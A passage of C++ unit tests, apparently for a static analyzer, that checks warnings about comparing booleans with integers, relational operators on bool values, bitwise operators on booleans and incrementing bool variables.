{\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n 